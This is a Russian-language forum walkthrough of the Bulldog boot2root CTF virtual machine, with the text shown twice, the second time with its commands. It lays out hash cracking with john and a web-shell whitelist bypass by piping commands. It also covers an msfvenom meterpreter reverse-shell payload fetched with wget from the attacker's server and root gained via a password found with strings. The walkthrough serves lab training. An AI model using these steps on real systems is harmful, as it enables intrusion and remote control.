Привет, Codeby! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)
Скачиваем Bulldog
Атакующая ОС: Kali Linux 2018.2
Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:
Переходим на web Bulldog:
Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:
Nikto нашел интересную директорию, зайдем осмотреться:
Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:
И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:
Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:
Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:
Имеем в наличии учётные данные пользователя Ник:
После успешной авторизации, можно перейти в Web Shell:
Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.
Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.
Этих команд достаточно, да и одной вполне, чтобы сделать так…
Полагаю, что будет дальше понятно.
Если мы выполним команду:
Результат не радужный, но если сделаем:
Теперь, все отрабатывает должным образом.
Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.
Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python (это обязательный момент, т.к. это Django)
Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.
Настраиваем handler:
Этап загрузки shell скрипта:
Убеждаемся, что загрузка прошла успешно:
Даем права скрипту на запуск:
Запускаем скрипт:
Результат предсказуем:
Используем команду:
Затем импортируем bash оболочку:
Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:
Обнаружив скрытую директорию, переходим в нее:
Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.
strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.
Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.
Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:
Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:
На этом прохождение Bulldog VM можно считать завершенным.
Спасибо за внимание.
Скачиваем Bulldog
Ссылка скрыта от гостей
Атакующая ОС: Kali Linux 2018.2
Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:
Код:
nmap –sV –A 192.168.0.110
Переходим на web Bulldog:
Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:
Код:
nikto –h 192.168.0.110
Nikto нашел интересную директорию, зайдем осмотреться:
Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:
И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:
Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:
Код:
hash-identifier
Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:
Код:
john /root/123.txt (тут хэш пароля) –format=RAW-SHA1
Имеем в наличии учётные данные пользователя Ник:
- nick
- bulldog
Код:
http://192.168.0.110/admin
После успешной авторизации, можно перейти в Web Shell:
Код:
http://192.168.0.110/dev/shell/
Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.
Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.
Этих команд достаточно, да и одной вполне, чтобы сделать так…
- | - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.
Полагаю, что будет дальше понятно.
Если мы выполним команду:
Код:
whoami
Результат не радужный, но если сделаем:
Код:
pwd | whoami
Теперь, все отрабатывает должным образом.
Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.
Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python (это обязательный момент, т.к. это Django)
Код:
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py
Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.
Настраиваем handler:
Этап загрузки shell скрипта:
Код:
pwd | wget http://192.168.0.101:88/sh.py
Убеждаемся, что загрузка прошла успешно:
Код:
ls -a
Даем права скрипту на запуск:
Код:
pwd | chmod 777 sh.py
Запускаем скрипт:
Код:
python sh.py
Результат предсказуем:
Используем команду:
Код:
shell
Затем импортируем bash оболочку:
Код:
python -c 'import pty;pty.spawn("/bin/bash")'
Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:
Код:
ls –a
Обнаружив скрытую директорию, переходим в нее:
Код:
cd .hiddenadmindirectory
ls –a
Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.
strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.
Код:
strings customPermissionApp
Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.
Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:
Код:
cd /home/jango/bulldog
./customPermissionApp
Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:
Код:
cd
cat congrats.txt
На этом прохождение Bulldog VM можно считать завершенным.
Спасибо за внимание.